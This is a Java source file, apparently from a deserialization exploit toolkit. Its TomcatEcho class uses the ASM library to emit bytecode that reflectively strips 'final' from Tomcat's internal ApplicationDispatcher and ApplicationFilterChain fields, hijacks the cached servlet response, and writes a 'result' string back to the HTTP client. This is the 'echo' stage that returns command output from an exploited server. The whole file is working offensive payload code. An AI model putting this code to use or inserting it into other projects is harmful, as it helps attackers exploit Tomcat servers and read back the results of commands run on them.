package org.su18.asm.echo;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;


public class TomcatEcho implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {
		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/Exception");
		mv.visitLabel(label0);
		mv.visitLdcInsn("org.apache.catalina.core.ApplicationDispatcher");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitLdcInsn("WRAP_SAME_OBJECT");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 1);
		Label label3 = new Label();
		mv.visitLabel(label3);
		mv.visitLdcInsn(Type.getType("Lorg/apache/catalina/core/ApplicationFilterChain;"));
		mv.visitLdcInsn("lastServicedRequest");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 2);
		Label label4 = new Label();
		mv.visitLabel(label4);
		mv.visitLdcInsn(Type.getType("Lorg/apache/catalina/core/ApplicationFilterChain;"));
		mv.visitLdcInsn("lastServicedResponse");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 3);
		Label label5 = new Label();
		mv.visitLabel(label5);
		mv.visitLdcInsn(Type.getType("Ljava/lang/reflect/Field;"));
		mv.visitLdcInsn("modifiers");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 4);
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "getModifiers", "()I", false);
		mv.visitIntInsn(BIPUSH, -17);
		mv.visitInsn(IAND);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setInt", "(Ljava/lang/Object;I)V", false);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "getModifiers", "()I", false);
		mv.visitIntInsn(BIPUSH, -17);
		mv.visitInsn(IAND);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setInt", "(Ljava/lang/Object;I)V", false);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "getModifiers", "()I", false);
		mv.visitIntInsn(BIPUSH, -17);
		mv.visitInsn(IAND);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setInt", "(Ljava/lang/Object;I)V", false);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label11 = new Label();
		mv.visitLabel(label11);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label12 = new Label();
		mv.visitLabel(label12);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label13 = new Label();
		mv.visitLabel(label13);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitInsn(ACONST_NULL);
		Label label14 = new Label();
		mv.visitLabel(label14);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/ThreadLocal");
		mv.visitVarInsn(ASTORE, 5);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ACONST_NULL);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/ThreadLocal");
		mv.visitVarInsn(ASTORE, 6);
		Label label16 = new Label();
		mv.visitLabel(label16);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(ACONST_NULL);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "getBoolean", "(Ljava/lang/Object;)Z", false);
		mv.visitVarInsn(ISTORE, 7);
		Label label17 = new Label();
		mv.visitLabel(label17);
		mv.visitVarInsn(ILOAD, 7);
		Label label18 = new Label();
		mv.visitJumpInsn(IFEQ, label18);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitJumpInsn(IFNULL, label18);
		mv.visitVarInsn(ALOAD, 6);
		Label label19 = new Label();
		mv.visitJumpInsn(IFNONNULL, label19);
		mv.visitLabel(label18);
		mv.visitFrame(Opcodes.F_FULL, 8, new Object[]{className, "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/ThreadLocal", "java/lang/ThreadLocal", Opcodes.INTEGER}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ACONST_NULL);
		mv.visitTypeInsn(NEW, "java/lang/ThreadLocal");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/ThreadLocal", "<init>", "()V", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "set", "(Ljava/lang/Object;Ljava/lang/Object;)V", false);
		Label label20 = new Label();
		mv.visitLabel(label20);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitInsn(ACONST_NULL);
		mv.visitTypeInsn(NEW, "java/lang/ThreadLocal");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/ThreadLocal", "<init>", "()V", false);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "set", "(Ljava/lang/Object;Ljava/lang/Object;)V", false);
		Label label21 = new Label();
		mv.visitLabel(label21);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(ACONST_NULL);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setBoolean", "(Ljava/lang/Object;Z)V", false);
		mv.visitJumpInsn(GOTO, label1);
		mv.visitLabel(label19);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/ThreadLocal", "get", "()Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "javax/servlet/ServletResponse");
		mv.visitVarInsn(ASTORE, 8);
		Label label22 = new Label();
		mv.visitLabel(label22);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitMethodInsn(INVOKEINTERFACE, "javax/servlet/ServletResponse", "getWriter", "()Ljava/io/PrintWriter;", true);
		mv.visitVarInsn(ASTORE, 9);
		Label label23 = new Label();
		mv.visitLabel(label23);
		mv.visitLdcInsn(Type.getType("Lorg/apache/catalina/connector/ResponseFacade;"));
		mv.visitLdcInsn("response");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 10);
		Label label24 = new Label();
		mv.visitLabel(label24);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label25 = new Label();
		mv.visitLabel(label25);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "org/apache/catalina/connector/Response");
		mv.visitVarInsn(ASTORE, 11);
		Label label26 = new Label();
		mv.visitLabel(label26);
		mv.visitLdcInsn(Type.getType("Lorg/apache/catalina/connector/Response;"));
		mv.visitLdcInsn("usingWriter");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 12);
		Label label27 = new Label();
		mv.visitLabel(label27);
		mv.visitVarInsn(ALOAD, 12);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label28 = new Label();
		mv.visitLabel(label28);
		mv.visitVarInsn(ALOAD, 12);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "FALSE", "Ljava/lang/Boolean;");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "set", "(Ljava/lang/Object;Ljava/lang/Object;)V", false);
		Label label29 = new Label();
		mv.visitLabel(label29);
		mv.visitVarInsn(ALOAD, 9);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitFieldInsn(GETFIELD, className, "result", "Ljava/lang/String;");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/Writer", "write", "(Ljava/lang/String;)V", false);
		Label label30 = new Label();
		mv.visitLabel(label30);
		mv.visitVarInsn(ALOAD, 9);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/Writer", "flush", "()V", false);
		mv.visitLabel(label1);
		mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 0, new Object[]{});
		Label label31 = new Label();
		mv.visitJumpInsn(GOTO, label31);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 1);
		Label label32 = new Label();
		mv.visitLabel(label32);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
		mv.visitLabel(label31);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitInsn(RETURN);
		Label label33 = new Label();
		mv.visitLabel(label33);
		mv.visitLocalVariable("responseFacade", "Ljavax/servlet/ServletResponse;", null, label22, label1, 8);
		mv.visitLocalVariable("w", "Ljava/io/Writer;", null, label23, label1, 9);
		mv.visitLocalVariable("responseField", "Ljava/lang/reflect/Field;", null, label24, label1, 10);
		mv.visitLocalVariable("response", "Lorg/apache/catalina/connector/Response;", null, label26, label1, 11);
		mv.visitLocalVariable("usingWriter", "Ljava/lang/reflect/Field;", null, label27, label1, 12);
		mv.visitLocalVariable("WRAP_SAME_OBJECT_FIELD", "Ljava/lang/reflect/Field;", null, label3, label1, 1);
		mv.visitLocalVariable("lastServicedRequestField", "Ljava/lang/reflect/Field;", null, label4, label1, 2);
		mv.visitLocalVariable("lastServicedResponseField", "Ljava/lang/reflect/Field;", null, label5, label1, 3);
		mv.visitLocalVariable("modifiersField", "Ljava/lang/reflect/Field;", null, label6, label1, 4);
		mv.visitLocalVariable("lastServicedResponse", "Ljava/lang/ThreadLocal;", "Ljava/lang/ThreadLocal<Ljavax/servlet/ServletResponse;>;", label15, label1, 5);
		mv.visitLocalVariable("lastServicedRequest", "Ljava/lang/ThreadLocal;", "Ljava/lang/ThreadLocal<Ljavax/servlet/ServletRequest;>;", label16, label1, 6);
		mv.visitLocalVariable("WRAP_SAME_OBJECT", "Z", null, label17, label1, 7);
		mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, label32, label31, 1);
		mv.visitLocalVariable("this", "L"+className+";", null, label0, label33, 0);
	}

}
